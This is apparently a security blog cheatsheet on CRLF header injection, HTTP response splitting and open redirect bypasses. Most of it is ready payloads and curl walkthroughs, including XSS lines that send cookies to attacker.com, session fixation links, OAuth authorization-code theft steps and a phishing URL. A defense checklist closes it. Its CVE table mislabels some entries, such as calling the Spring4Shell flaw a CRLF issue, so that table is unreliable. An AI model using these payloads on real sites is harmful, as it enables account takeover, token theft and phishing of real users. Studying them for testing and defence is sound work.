CRLF Injection & Open Redirect Cheatsheet: Header Injection, HTTP Response Splitting & Redirect Bypass | Tağmaç - root@Tagoletta:~#

CRLF Injection & Open Redirect Cheatsheet: Header Injection, HTTP Response Splitting & Redirect Bypass

Thu May 28 2026

Category: Cheatsheet


CRLF Injection — Basics

CRLF (\r\n = %0d%0a) is the HTTP line delimiter. Injecting it into headers lets you add arbitrary headers or split the response.

# Normal request:
GET /page?lang=en HTTP/1.1
Host: target.com

# Vulnerable server reflects lang into Location header:
HTTP/1.1 302 Found
Location: /page?lang=en

# Injected CRLF:
GET /page?lang=en%0d%0aSet-Cookie:%20malicious=1 HTTP/1.1

# Response becomes:
HTTP/1.1 302 Found
Location: /page?lang=en
Set-Cookie: malicious=1   ← injected!

CRLF Injection Payloads

# Basic CRLF sequences
%0d%0a      \r\n   (standard)
%0a         \n     (LF only — some servers)
%0d         \r     (CR only — some servers)
%23%0d%0a   #\r\n  (after fragment)
%3f%0d%0a   ?\r\n  (after query)
%0d%0a%09   \r\n\t (tab-folded header)

# Double encoding
%250d%250a
%25%30%64%25%30%61

# Unicode variations


%E5%98%8A%E5%98%8D  (UTF-8 multi-byte that decodes to \n\r)
%C0%8D%C0%8A        (overlong encoding)

Header Injection

# Inject arbitrary response headers
https://target.com/redirect?url=https://example.com%0d%0aX-Injected: pwned

# Response:
HTTP/1.1 302 Found
Location: https://example.com
X-Injected: pwned

# Set multiple headers
%0d%0aHeader1: value1%0d%0aHeader2: value2

# Inject Cache-Control to cache poisoning
https://target.com/page?input=value%0d%0aCache-Control: max-age=99999

Cookie Injection via CRLF

# Inject a new Set-Cookie header
https://target.com/login?redirect=%0d%0aSet-Cookie:%20admin=1

# Session fixation
https://target.com/login?redirect=%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED_TOKEN

# Cookie with HttpOnly and Secure flags missing
https://target.com/page?url=test%0d%0aSet-Cookie:%20auth=attacker_value;%20Path=/

# Steal cookies via XSS cookie injection
https://target.com/set?val=%0d%0aSet-Cookie:%20xss=<script>document.location='https://attacker.com/?c='+document.cookie</script>

HTTP Response Splitting (XSS via CRLF)

# Inject full new HTTP response body
https://target.com/page?url=%0d%0a%0d%0a<script>alert(document.domain)</script>

# Full response splitting (terminate first response, start new one)
GET /page?input=test%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><script>alert(1)</script></html>

# Response becomes two separate HTTP responses:
# First response: truncated original
# Second response: attacker-controlled

CRLF → XSS Examples

# Inject XSS via header reflection
https://target.com/error?msg=not_found%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

# Location header XSS (redirect to javascript:)
https://target.com/redirect?url=%0d%0aLocation:%20javascript:alert(document.cookie)

# Via X-XSS-Protection header injection (disables browser XSS filter in old Chrome)
https://target.com/page?q=term%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a<script>alert(1)</script>

CRLF for Cache Poisoning

# Inject Cache-Control to cache a response forever
https://target.com/page?input=x%0d%0aCache-Control:%20max-age=99999999,%20public

# Inject Vary header manipulation
https://target.com/api/data?q=x%0d%0aVary:%20X-Forwarded-For

# Content-Type override (force HTML parsing)
https://target.com/api/json?cb=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

Open Redirect — Detection

# Common redirect parameters to test:
?url=
?redirect=
?redirect_uri=
?return=
?returnUrl=
?returnTo=
?next=
?target=
?destination=
?redir=
?ref=
?referer=
?continue=
?goto=
?r=
?link=
?location=
?callback=
?path=
?to=
?u=
# Automated discovery
ffuf -u https://target.com/FUZZ?url=https://attacker.com \
  -w /usr/share/wordlists/dirb/common.txt \
  -mc 301,302,303,307,308 \
  -o open_redirects.txt

# Manual test
curl -s -I "https://target.com/redirect?url=https://attacker.com" | grep -i location

Open Redirect Bypass Techniques

Domain Check Bypass

# If server checks if URL starts with target.com:
https://target.com.attacker.com/           (subdomain confusion)
https://[email protected]/           (user-info trick — @ separator)
https://target.com%[email protected]/        (encoded slash)
https://attacker.com#target.com            (fragment — ignored by server)
https://attacker.com?target.com            (query — server may check naively)
//attacker.com/                            (protocol-relative)
https:///attacker.com/                     (extra slash)
https:attacker.com/                        (colon without slashes)

Scheme Bypass

# If server blocks http:// and https://:
javascript:alert(1)                        (XSS via redirect)
data:text/html,<script>alert(1)</script>   (data: URI)
vbscript:msgbox(1)                         (IE only)
//attacker.com                             (protocol-relative)

# URL scheme confusion
HtTps://attacker.com
HTTPS://attacker.com
https:%09//attacker.com                    (tab character)
https:%0a//attacker.com                    (newline injection)

Encoding Bypass

# URL encoding
https://attacker%2ecom/
https://attacker%252ecom/                  (double encoded)

# Path confusion
https://target.com/..%2f..%2fattacker.com/
https://target.com///attacker.com/
https://target.com/\attacker.com/          (backslash — Windows servers)
https://target.com\attacker.com/

# Unicode
https://аttacker.com/                      (Cyrillic 'a' in domain)
https://attacker.com%E2%81%84path          (unicode slash lookalike)

Regex Bypass

# Target regex: ^https?://target\.com
https://target.com.attacker.com/           (appended)
https://notarget.com/                      (if no ^ anchor)
https://attacker.com/target.com            (path contains domain)

# If regex only checks for "target.com" substring:
https://attacker.com/?redir=target.com
https://evil.com/target.com/path

Open Redirect → Account Takeover Chain

# OAuth redirect_uri manipulation
# 1. Find OAuth login with redirect_uri
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://target.com/callback

# 2. Replace with attacker URL (if server does weak validation)
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://attacker.com/steal

# Victim visits → auth code sent to attacker.com → token stolen
# Password reset open redirect → token leakage
# Reset password link:
https://target.com/reset?token=SECRET&redirect=https://target.com/login

# If redirect not validated:
https://target.com/reset?token=SECRET&redirect=https://attacker.com/steal

# Victim clicks email link → token leaked in Referer header to attacker.com

CRLF + Open Redirect Combined

# Redirect to arbitrary location with injected headers
https://target.com/redirect?url=https://example.com%0d%0aSet-Cookie:%20hijacked=1;%20HttpOnly%0d%0aX-Injected-By: attacker

# Response:
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: hijacked=1; HttpOnly
X-Injected-By: attacker

Real-World Examples

CVE / Incident Year Product Impact
CVE-2011-3490 2011 Apache Traffic Server CRLF injection → HTTP response splitting → cache poisoning
CVE-2019-9955 2019 Fortinet FortiGate Open redirect in SSL VPN portal → credential phishing
HackerOne Open Redirect 2019 HackerOne next param redirect → OAuth token leakage → account takeover
CVE-2020-11023 2020 jQuery Open redirect in $.ajax URL handling
Slack Open Redirect 2020 Slack SAML Open redirect in SSO → SAML response interception → $7,500
Twitter Open Redirect 2020 Twitter OAuth redirect_uri bypass → OAuth token exfiltration
Spring CVE-2022-22965 2022 Spring Framework CRLF injection in response headers → cache poisoning

Example: CRLF Injection → Session Hijacking

# Target: vulnerable redirect endpoint that reflects URL into Location header

# Step 1: Confirm CRLF injection
curl -si "https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=HACKED" | head -20
# Response headers include:
# Location: test
# Set-Cookie: session=HACKED

# Step 2: Craft payload for session fixation
PAYLOAD="test%0d%0aSet-Cookie:%20session=attacker_known_token;%20Path=/;%20HttpOnly"
curl -si "https://target.com/redirect?url=$PAYLOAD" | grep -i "set-cookie"

# Step 3: Send victim a link
# https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=attacker_known_token
# Victim clicks → their browser stores our session token → we're logged in as them

# Step 4: Use the fixed session
curl -b "session=attacker_known_token" https://target.com/dashboard

Example: Open Redirect — OAuth Token Theft

# Step 1: Identify OAuth flow
curl -si "https://target.com/auth/google?redirect_uri=https://target.com/callback" | grep location

# Step 2: Test redirect_uri bypass
curl -si "https://target.com/auth/google?redirect_uri=https://attacker.com/steal" | grep location
# If 302 → https://accounts.google.com/...&redirect_uri=https%3A%2F%2Fattacker.com%2Fsteal
# → redirect_uri accepted!

# Step 3: Craft phishing URL
PHISH="https://target.com/auth/google?redirect_uri=https://attacker.com/steal&response_type=code"

# Step 4: On attacker.com/steal — capture the auth code
# When victim visits PHISH:
# 1. Google redirects → https://attacker.com/steal?code=AUTH_CODE
# 2. Exchange code for token
curl -X POST https://oauth2.googleapis.com/token \
  -d "code=AUTH_CODE&client_id=TARGET_CLIENT_ID&client_secret=TARGET_SECRET&redirect_uri=https://attacker.com/steal&grant_type=authorization_code"
# Returns access_token for victim's account

Example: Twitter — Open Redirect in OAuth (Bug Bounty)

# Twitter's OAuth /authorize endpoint had open redirect in error_uri
# Step 1: Craft malicious OAuth URL
curl -si "https://api.twitter.com/oauth/authorize?oauth_token=invalid&error_uri=https://attacker.com" | grep -i location
# Response: Location: https://attacker.com  ← OPEN REDIRECT!

# Step 2: Host phishing page on attacker.com that looks like Twitter login
# Step 3: Victims who click see twitter.com URL (they trust it) → redirected → phished

# Reported via Twitter bug bounty — fix: validate error_uri against allowlist

Example: CRLF → XSS via Header Injection

# Target: URL parameter reflected into custom response header
# e.g., GET /track?ref=homepage → Response: X-Referrer: homepage

# Step 1: Inject CRLF + Content-Type override
curl -si "https://target.com/track?ref=homepage%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>"

# Response:
# HTTP/1.1 200 OK
# X-Referrer: homepage
# Content-Type: text/html
#
# <script>alert(document.domain)</script>
# (Browser renders as HTML → XSS!)

# Step 2: Use this to bypass CSP by injecting CSP header
curl -si "https://target.com/track?ref=x%0d%0aContent-Security-Policy:%20default-src%20*%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>fetch('https://attacker.com/?d='+document.cookie)</script>"

Example: Slack SAML — Open Redirect to SSO Bypass ($7,500)

# Slack's SAML SSO had open redirect in RelayState parameter
# RelayState is passed through IdP → SP and used for final redirect

# Step 1: Initiate SAML SSO with malicious RelayState
curl -si "https://target.slack.com/sso/saml?redir=https://attacker.com/steal" | grep -i location

# Step 2: Complete SAML auth flow — SAMLResponse sent to Slack
# Slack validates SAML assertion (success)
# Then redirects to RelayState value: https://attacker.com/steal
# → SAML response (with sensitive token) leaked via Referer header!

# This is the SAML relay-state open redirect class of bugs
# Fix: validate RelayState against allowed domains before redirecting

Automated Testing

# CRLF injection scanner
python3 crlfuzz.py -u https://target.com/redirect?url=FUZZ

# Open redirect scanner (via Nuclei)
nuclei -u https://target.com -t exposures/redirect/open-redirect.yaml

# Manual one-liner — test common redirect params
for param in url redirect return next target destination goto; do
  echo -n "$param → "
  curl -s -I "https://target.com/login?$param=https://attacker.com" \
    | grep -i "^location:" || echo "not reflected"
done

Defense Checklist

CRLF:

  • Strip or reject \r (%0d) and \n (%0a) from any value reflected into HTTP headers
  • Use a web framework that auto-sanitizes headers
  • Never reflect user input directly into Location, Set-Cookie, or custom headers
  • Encode output before placing in headers

Open Redirect:

  • Use a whitelist of allowed redirect destinations
  • Validate full URL (scheme + host + path) — not just prefix or suffix
  • For OAuth: enforce exact redirect_uri matching (no wildcards, no subdomain patterns)
  • Use relative paths for internal redirects (/dashboard not https://...)
  • Add a warning interstitial page for external redirects

References